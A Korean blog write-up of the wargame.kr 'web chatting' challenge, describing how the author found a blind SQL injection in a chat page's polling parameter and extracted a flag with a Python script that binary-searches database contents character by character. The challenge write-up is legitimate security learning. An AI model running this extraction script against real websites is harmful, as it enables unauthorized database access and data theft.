White Security
[wargame.kr] web chatting 문제풀이 본문
wargame.kr 사이트의 16번째 문제입니다.
"간단한 SQL 인젝션 문제입니다.
트래픽을 줄이기 위해서는 어떻게 해야 할까요?
개발자의 관점에서 생각해 주세요."
링크를 따라 들어가니 아이디 입력란이 있군요.
posix라고 입력하고 join을 눌러보겠습니다.
로그인을 하니 채팅 프로그램이 존재합니다.
이것저것 입력해보니 대부분 정상적으로 들어가네요.
다만 #을 입력하면 #을 포함한 이후 문자들이 모두 사라집니다.
크롬 개발자 도구를 열어 로그를 살펴보니
1초 간격으로 XHR을 통해 지속적으로 데이터를 받아오고 있네요.
중간의 chatlog.php?data=posix.tistory.com
부분은 제가 데이터를 입력한 전송한 부분입니다.
페이지 소스를 열어보겠습니다.
페이지 로드가 끝난 후에 init 함수를 실행하며
데이터 입력 시에 sayf 함수를 호출하도록 되어 있습니다.
init 함수 하단에 setInterval("getchatlog(1)", 1000) 부분이 보이는데
1초마다 getchatlog 함수를 실행하도록 하고 있습니다.
getchatlog 함수에서는 한 개의 변수를 인자로 받아
해당 변수가 1일 때에는 chatlog.php?t=1
(마지막 메시지 번호 요청)
2일 때에는 chatview.php?t=1&ni=(ni value)
(ni번째~마지막까지의 채팅 데이터 요청)
아래는, 이해를 돕기 위한 예시입니다.
[ chatlog.php?t=1 ] 페이지에서는 마지막 메시지 번호를 가져옵니다.
[ chatview.php?t=1&ni=(ni value) ] 페이지에서는
ni값 이후의 모든 메시지를 가져옵니다.
지금은 35991이 마지막이므로 1개만 표시되지만
만약 0을 집어넣으면, 지금까지 있었던 모든 메시지를 볼 수 있습니다.
그리고 바로 이 ni값에 blind sql injection 취약점이 존재합니다.
IF( 조건식, 참일 경우의 값, 거짓일 경우의 값 )의 형태를 취하고 있는
이 문장으로, 조건식이 참이면 35990, 거짓이면 35991으로 해석되는 것이지요.
이 특성을 이용하여 파이썬 스크립트를 작성하여 문제를 해결했습니다.
import urllib.request import math, sys def check_true(response): return (response[13:21] == b'09:44:55'); def if_query(query): req = urllib.request.Request('http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=IF(' + urllib.parse.quote(query) + ',35991,40000)') response = urllib.request.urlopen(req) output = response.read() return check_true(output) def check_greater_than(query, val): return if_query(query + '>=' + str(val)) def find_char(query): first = 0 last = 129 while first < last - 1: mid = math.floor((first + last) / 2) if check_greater_than(query, mid): first = mid else: last = mid return chr(first) def get_length(query): first = 0 last = 65 query = 'length(' + query + ')' while first < last - 1: mid = math.floor((first + last) / 2) if check_greater_than(query, mid): first = mid else: last = mid return first def get_content(name): name = '(' + name + ')' content_len = get_length(name); content = '' if content_len == 0: sys.stdout.write('Invalid request\n') return '' for idx in range(1, content_len + 1): content += find_char('ascii(substr(' + name + ', ' + str(idx) + ', 1))') sys.stdout.write('\r[' + str(content_len) + '] ' + content + '_' * (content_len - len(content))) sys.stdout.write('\n') return content if len(sys.argv) < 2: sys.stdout.write('Using: ' + sys.argv[0] + ' <cmd>\n') exit() content = get_content((' '.join(sys.argv[1:])))
chat_log_secret 테이블의 readme 컬럼에서
Flag로 보이는 데이터를 얻을 수 있었습니다.
'Wargame Writeups > wargame.kr' 카테고리의 다른 글
[wargame.kr] SimpleBoard 문제풀이 (0) | 2019.01.23 |
---|---|
[wargame.kr] pyc decompiler 문제풀이 (0) | 2019.01.23 |
[wargame.kr] php? c? 문제풀이 (0) | 2019.01.22 |
[wargame.kr] img recovery 문제풀이 (0) | 2019.01.22 |
[wargame.kr] type confusion 문제풀이 (0) | 2019.01.22 |